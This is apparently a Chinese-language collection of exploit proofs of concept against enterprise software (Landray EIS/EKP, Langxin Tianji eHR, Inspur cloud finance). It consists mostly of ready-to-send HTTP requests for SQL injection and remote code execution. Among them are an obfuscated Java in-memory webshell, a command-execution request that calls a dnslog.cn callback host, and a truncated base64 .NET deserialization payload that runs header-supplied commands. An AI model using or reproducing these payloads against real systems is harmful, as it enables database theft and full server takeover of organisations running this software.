006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u004c\u0069\u0073\u007
4\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u0020\u003d\u
0020\u0028\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u004c\u006
9\u0073\u0074\u0029\u0020\u0028\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u
006a\u0029\u0029\u003b\u0066\u006f\u0072\u0020\u0028\u0069\u006e\u0074\u0020\u006
a\u0020\u003d\u0020\u0030\u003b\u0020\u006a\u0020\u003c\u0020\u0070\u0072\u006f\u
0063\u0065\u0073\u0073\u006f\u0072\u0073\u002e\u0073\u0069\u007a\u0065\u0028\u002
9\u003b\u0020\u002b\u002b\u006a\u0029\u0020\u007b\u0020\u004f\u0062\u006a\u0065\u
0063\u0074\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0020\u003
d\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u002e\u0067\u
0065\u0074\u0028\u006a\u0029\u003b\u0066\u0020\u003d\u0020\u0070\u0072\u006f\u006
3\u0065\u0073\u0073\u006f\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u
0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u006
5\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0072\u0065\u0071\u0022\u0029\u
003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u006
2\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u004f\u0062\u006a\u0065\u
0063\u0074\u0020\u0072\u0065\u0071\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u007
4\u0028\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0029\u003b\u004f\u
0062\u006a\u0065\u0063\u0074\u0020\u0072\u0065\u0073\u0070\u0020\u003d\u0020\u007
2\u0065\u0071\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u
002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u006
5\u0074\u0052\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0022\u002c\u0020\u006e\u
0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u0030\u005d\u0029\u002e\u006
9\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0071\u002c\u0020\u006e\u0065\u
0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u0030\u005d\u0029\u003b\u007
3\u0074\u0072\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u
0020\u0072\u0065\u0071\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u002
8\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u
0067\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072\u0022\u002c\u0020\u006e\u006
5\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0053\u0074\u0072\u
```

```
0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006
e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0071\u002c\u0020\u006e\u0065\u0077\u
0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0022\u0043\u006d\u006
4\u0022\u007d\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0074\u0072\u0020\u0021\u
003d\u0020\u006e\u0075\u006c\u006c\u0020\u0026\u0026\u0020\u0021\u0073\u0074\u007
2\u002e\u0069\u0073\u0045\u006d\u0070\u0074\u0079\u0028\u0029\u0029\u0020\u007b\u
0020\u0072\u0065\u0073\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u007
3\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u
0022\u0073\u0065\u0074\u0053\u0074\u0061\u0074\u0075\u0073\u0022\u002c\u0020\u006
e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0069\u006e\u
0074\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006
f\u006b\u0065\u0028\u0072\u0065\u0073\u0070\u002c\u0020\u006e\u0065\u0077\u0020\u
004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u006e\u0065\u0077\u0020\u004
9\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0032\u0030\u0030\u0029\u007d\u0029\u
003b\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u0020\u0063\u006d\u0064\u007
3\u0020\u003d\u0020\u0053\u0079\u0073\u0074\u0065\u006d\u002e\u0067\u0065\u0074\u
0050\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0028\u0022\u006f\u0073\u002e\u006
e\u0061\u006d\u0065\u0022\u0029\u002e\u0074\u006f\u004c\u006f\u0077\u0065\u0072\u
0043\u0061\u0073\u0065\u0028\u0029\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006
e\u0073\u0028\u0022\u0077\u0069\u006e\u0064\u006f\u0077\u0022\u0029\u0020\u003f\u
0020\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007
b\u0022\u0063\u006d\u0064\u002e\u0065\u0078\u0065\u0022\u002c\u0020\u0022\u002f\u
0063\u0022\u002c\u0020\u0073\u0074\u0072\u007d\u0020\u003a\u0020\u006e\u0065\u007
7\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007b\u0022\u002f\u0062\u
0069\u006e\u002f\u0073\u0068\u0022\u002c\u0020\u0022\u002d\u0063\u0022\u002c\u002
0\u0073\u0074\u0072\u007d\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u
0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0020\u003d\u0020\u005
3\u0079\u0073\u0074\u0065\u006d\u002e\u0067\u0065\u0074\u0050\u0072\u006f\u0070\u
0065\u0072\u0074\u0079\u0028\u0022\u006f\u0073\u002e\u006e\u0061\u006d\u0065\u002
2\u0029\u002e\u0074\u006f\u004c\u006f\u0077\u0065\u0072\u0043\u0061\u0073\u0065\u
0028\u0029\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u007
7\u0069\u006e\u0064\u006f\u0077\u0022\u0029\u0020\u003f\u0020\u0022\u0047\u0042\u
004b\u0022\u003a\u0022\u0055\u0054\u0046\u002d\u0038\u0022\u003b\u0062\u0079\u007
4\u0065\u005b\u005d\u0020\u0074\u0065\u0078\u0074\u0032\u0020\u003d\u0028\u006e\u
0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u005
3\u0063\u0061\u006e\u006e\u0065\u0072\u0028\u0028\u006e\u0065\u0077\u0020\u0050\u
0072\u006f\u0063\u0065\u0073\u0073\u0042\u0075\u0069\u006c\u0064\u0065\u0072\u002
8\u0063\u006d\u0064\u0073\u0029\u0029\u002e\u0073\u0074\u0061\u0072\u0074\u0028\u
0029\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u006
5\u0061\u006d\u0028\u0029\u002c\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u
0061\u006d\u0065\u0029\u0029\u002e\u0075\u0073\u0065\u0044\u0065\u006c\u0069\u006
d\u0069\u0074\u0065\u0072\u0028\u0022\u005c\u005c\u0041\u0022\u0029\u002e\u006e\u
0065\u0078\u0074\u0028\u0029\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u007
3\u0028\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0029\u
003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0072\u0065\u0073\u0075\u006c\u007
4\u003d\u0028\u0022\u0045\u0078\u0065\u0063\u0075\u0074\u0065\u003a\u0020\u0020\u
0020\u0020\u0022\u002b\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u006
7\u0028\u0074\u0065\u0078\u0074\u0032\u002c\u0022\u0075\u0074\u0066\u002d\u0038\u
0022\u0029\u0029\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u006
3\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0029\u003b\u0074\u
0072\u0079\u0020\u007b\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0063\u006c\u007
3\u0020\u003d\u0020\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u
0061\u006d\u0065\u0028\u0022\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u006
8\u0065\u002e\u0074\u006f\u006d\u0063\u0061\u0074\u002e\u0075\u0074\u0069\u006c\u
002e\u0062\u0075\u0066\u002e\u0042\u0079\u0074\u0065\u0043\u0068\u0075\u006e\u006
b\u0022\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0063\u006c\u0073\u002e\u
```

```
006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003
b\u0063\u006c\u0073\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u
0065\u0064\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0073\u0065\u0074\u004
2\u0079\u0074\u0065\u0073\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u
0061\u0073\u0073\u005b\u005d\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u006
3\u006c\u0061\u0073\u0073\u002c\u0020\u0069\u006e\u0074\u002e\u0063\u006c\u0061\u
0073\u0073\u002c\u0020\u0069\u006e\u0074\u002e\u0063\u006c\u0061\u0073\u0073\u007
d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006f\u0062\u006a\u002c\u
0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007
b\u0072\u0065\u0073\u0075\u006c\u0074\u002c\u0020\u006e\u0065\u0077\u0020\u0049\u
006e\u0074\u0065\u0067\u0065\u0072\u0028\u0030\u0029\u002c\u0020\u006e\u0065\u007
7\u0020\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0072\u0065\u0073\u0075\u
006c\u0074\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u007d\u0029\u003b\u007
2\u0065\u0073\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u
0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u006
4\u006f\u0057\u0072\u0069\u0074\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u
0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0063\u006c\u0073\u007d\u0029\u002
e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0073\u0070\u002c\u0020\u
006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u006
f\u0062\u006a\u007d\u0029\u003b\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u
0020\u0028\u004e\u006f\u0053\u0075\u0063\u0068\u004d\u0065\u0074\u0068\u006f\u006
4\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0076\u0061\u0072\u
0035\u0029\u0020\u007b\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0063\u006c\u007
3\u0020\u003d\u0020\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u
0061\u006d\u0065\u0028\u0022\u006a\u0061\u0076\u0061\u002e\u006e\u0069\u006f\u002
e\u0042\u0079\u0074\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0022\u0029\u003b\u
006f\u0062\u006a\u0020\u003d\u0020\u0063\u006c\u0073\u002e\u0067\u0065\u0074\u004
4\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u004d\u0065\u0074\u0068\u006f\u0064\u
0028\u0022\u0077\u0072\u0061\u0070\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u004
3\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u
002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006
b\u0065\u0028\u0063\u006c\u0073\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u
006a\u0065\u0063\u0074\u005b\u005d\u007b\u0072\u0065\u0073\u0075\u006c\u0074\u007
d\u0029\u003b\u0072\u0065\u0073\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u
0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u006
4\u0028\u0022\u0064\u006f\u0057\u0072\u0069\u0074\u0065\u0022\u002c\u0020\u006e\u
0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0063\u006c\u007
3\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0073\u
0070\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005
b\u005d\u007b\u006f\u0062\u006a\u007d\u0029\u003b\u0020\u007d\u0066\u006c\u0061\u
0067\u0020\u003d\u0020\u0074\u0072\u0075\u0065\u003b\u0020\u007d\u0069\u0066\u002
0\u0028\u0066\u006c\u0061\u0067\u0029\u0020\u007b\u0020\u0062\u0072\u0065\u0061\u
006b\u003b\u0020\u007d\u0020\u007d\u0069\u0066\u0020\u0028\u0066\u006c\u0061\u006
7\u0029\u0020\u007b\u0020\u0062\u0072\u0065\u0061\u006b\u003b\u0020\u007d\u0020\u
007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u007
0\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u
0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0020\u007d&modelName=test
```

蓝凌EIS智慧协同平台ShowUserInfo.aspx SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/third/DingTalk/Demo/ShowUserInfo.aspx
- 漏洞详情：

```
GET /third/DingTalk/Demo/ShowUserInfo.aspx?account=1'%20and%201=@@version--+ HTTP/1.1
Host: x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

蓝凌EIS智慧协同平台frm_form_list_main.aspx SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/frm/frm_form_list_main.aspx
- 漏洞详情：

```
GET /frm/frm_form_list_main.aspx?list_id=1%20and%201=@@version--+ HTTP/1.1
Host: x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

蓝凌EIS智慧协同平台fl_define_flow_chart_show.aspx SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/flow/fl_define_flow_chart_show.aspx
- 漏洞详情：

```
GET /flow/fl_define_flow_chart_show.aspx?id=1%20and%201=@@version--+ HTTP/1.1
Host: x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

蓝凌EIS智慧协同平台UniformEntry.aspx SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/third/DingTalk/Pages/UniformEntry.aspx
- 漏洞详情：

```
GET /third/DingTalk/Pages/UniformEntry.aspx?moduleid=1%20and%201=@@version--+
HTTP/1.1
Host: xxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

蓝凌EIS智慧协同平台doc_fileedit_word.aspx SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/dossier/doc_fileedit_word.aspx
- 漏洞详情：

```
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: xxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

蓝凌EIS智慧协同平台frm_button_func.aspx SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/frm/frm_button_func.aspx
- 漏洞详情：

```
GET /frm/frm_button_func.aspx?formid=1%20and%201=@@version--+ HTTP/1.1
Host: xxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

蓝凌 EKP 曝远程代码执行0day漏洞

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/ekp/data/sys-common/dataxml.tmpl
- 漏洞详情：

```
POST /ekp/data/sys-common/dataxml.tmpl  HTTP/1.1
Host: x.x.x.x:x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
```

```
s_bean=ruleFormulaValidate&script=try {
String cmd = "ping 123456.wgzrdb.dnslog.cn";
Process child = Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
System.err.println(e);
}
```

朗新天霁

朗新天霁智能eHR人力资源管理系统GetE01ByDeptCode存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/api/Com/GetE01ByDeptCode
- 漏洞详情：

```
POST /api/Com/GetE01ByDeptCode HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101
Firefox/128.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Connection: close

{"deptCode":"1') AND 8104=8104 AND ('UCOF'='UCOF"}
```

浪潮

浪潮云财务系统存在命令执行

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/cwbase/gsp/webservice/bizintegrationwebservice/bizintegrationwebservice.asmx
- 漏洞详情：

```
POST
/cwbase/gsp/webservice/bizintegrationwebservice/bizintegrationwebservice.asmx
HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: 16396
SOAPAction: "http://tempuri.org/GetChildFormAndEntityList"
cmd: whoami
```

```
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetChildFormAndEntityList xmlns="http://tempuri.org/">
      <baseFormID>string</baseFormID>
      <baseEntityID>string</baseEntityID>
```

```
<strFormAssignment>AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVm
Vyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGU
wODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmlu
YXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjd
GlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLj
AsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXR
lbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJ
BgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AA
ABhU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bm
V1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5
Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0
U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uV
W5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAA
AEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAA
ACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVt
LkNvbGxlY3Rpb25zLkhhc2h0YWJsZQcAAAAKTG9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhhc2hDb
2RlUHJvdmlkZXIISGFzaFNpemUES2V5cwZWYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvbGxlY3Rpb25zLk
lDb21wYXJlciRTeXN0ZW0uQ29sbGVjdGlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4PwIAAAAKCgMAAAA
JHwAAAAkgAAAADw0AAAAAEAAAAk1akAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgc
nVuIGluIERPUyBtb2RlLg0NCiQAAAAAAAAAAAUEUAAEwBAwBrydRkAAAAAAAAAAAADgAAIhCwELAAAIAAAABg
AAAAAAAN4mAAAAIAAAAEAAAAAAABAAIAAAAAIAAAQAAAAAAAAAAABAAAAAAAAAAAAgAAAAAIAAAAAAAAADAEC
FAAAQAAAQAAAAABAAABAAAAAAAAAAAQAAAAAAAAAAAAAAACQJgAASwAAAABAAACoAgAAAAAAAAAAAAAAAAAA
AAAAAABgAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CAAAAgAAAAAAAAAAAAAAAggAABIAAAAAAAAAAAAAAAudGV4dAAAAOQGAAAAIAAAAAgAAAACAAAAAAAAAAAA
AAAAAAAAAgAABgLnJzcmMAAACoAgAAAEAAAAAEAAAACgAAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAA
AAABgAAAAAgAAAA4AAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAwCYAAAAAAAABIAAAAAgAF
ADAhAABgBQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAbMAMAwwAAAAEAABECKAMAAAooBAAACgoGbwUAAApvBgAACgZvBwAACm8IAAAKcwkAAAoLB28KAA
AKcgEAAHBvCwAACgZvDAAACm8NAAAKchEAAHBvDgAACgwHbwoAAApyGQAAcAgoDwAACm8QAAAKB28KAAA
KF28RAAAKB28KAAAKF28SAAAKB28KAAAKFm8TAAAKB28UAAAKJgdvFQAACm8WAAAKDQZvBwAACglvFwAA
Ct4DJt4ABm8HAAAKbxgAAAoGbwcAAApvGQAACioAARAAAAAAIgCHqQADDgAAAUJTSkIBAAEAAAAAAAAwAA
AB2NC4wLjMwMzE5AAAAAAAUAbAAAALwBAAAjfgAAKAIAAHQCAAAjU3RyaW5ncwAAAACcBAAAJAAAACNVUw
DABAAAEAAAACNHVUlEAAAA0AQAAJAAAAAjQmxvYgAAAAAAAAAACAAABRxQCAAkAAAAA+iUzABYAAAEAAAA
OAAAAAgAAAAEAAAAZAAAAAgAAAAEAAAABAAAAAwAAAAAACgABAAAAAAAGACkAIgAGAFYANgAGAHYANgAK
AKgAnQAKAMAAnQAKAOgAnQAOABsBCAEOACMBCAEKAE8BnQAOAIYBZwEGAK8BIgAGACQCGgIGAEQCGgIGA
GkCIgAAAAAAAQAAAAAAAQABAAAAEAAXAAAABQABAAEAUCAAAAAAAhhgwAAoAAQARADAADgAZADAACgAJAD
AACgAhALQAHAAhANIAIQApAN0ACgAhAPUAJgAxAAIBCgA5ADAACgA5ADQBKwBBAEIBMAAhAFsBNQBJAJo
BOgBRAKYBPwBZALYBRABBAL0BMABBAMsBSgBBAOYBSgBBAAACSgA5ABQCTwA5ADECUwBpAE8CWAAxAFkC
MAAxAF8CCgAxAGUCCgAuAAsAZQAuABMAbgBcAASAAAAAAAAAAAAAAAAAAAAAAJQAAAAEAAAAAAAAAAAAAA
AABABkAAAAAAAQAAAAAAAAAAAAAAABMAnQAAAAABAAAAAAAAAAAAAAAAQAiAAAAAAAAAAA8TW9kdWxlPg
Brd3V3YWNwdy5kbGwARQBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AC5jdG9yAFN5c3RlbS5SdW50aW1lLkN
vbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0
aWJpbGl0eUF0dHJpYnV0ZQBrd3V3YWNwdwBTeXN0ZW0uV2ViAEh0dHBDb250ZXh0AGdldF9DdXJyZW50A
Eh0dHBTZXJ2ZXJVdGlsaXR5AGdldF9TZXJ2ZXIAQ2xlYXJFcnJvcgBIdHRwUmVzcG9uc2UAZ2V0X1Jlc3
BvbnNlAENsZWFyAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAFByb2Nlc3NTdGFydEluZm8AZ2V0X1N
0YXJ0SW5mbwBzZXRfRmlsZU5hbWUASHR0cFJlcXVlc3QAZ2V0X1JlcXVlc3QAU3lzdGVtLkNvbGxlY3Rp
b25zLlNwZWNpYWxpemVkAE5hbWVWYWx1ZUNvbGxlY3Rpb24AZ2V0X0hlYWRlcnMAZ2V0X0l0ZW0AU3Rya
W5nAENvbmNhdABzZXRfQXJndW1lbnRzAHNldF9SZWRpcmVjdFN0YW5kYXJkT3V0cHV0AHNldF9SZWRpcm
VjdFN0YW5kYXJkRXJyb3IAc2V0X1VzZVNoZWxsRXhlY3V0ZQBTdGFydABTeXN0ZW0uSU8AU3RyZWFtUmV
hZGVyAGdldF9TdGFuZGFyZE91dHB1dABUZXh0UmVhZGVyAFJlYWRUb0VuZABXcml0ZQBGbHVzaABFbmQA
RXhjZXB0aW9uAAAAD2MAbQBkAC4AZQB4AGUAAAdjAG0AZAAABy8AYwAgAAAAAAA2IZXU/G1oT7AM+EyvN
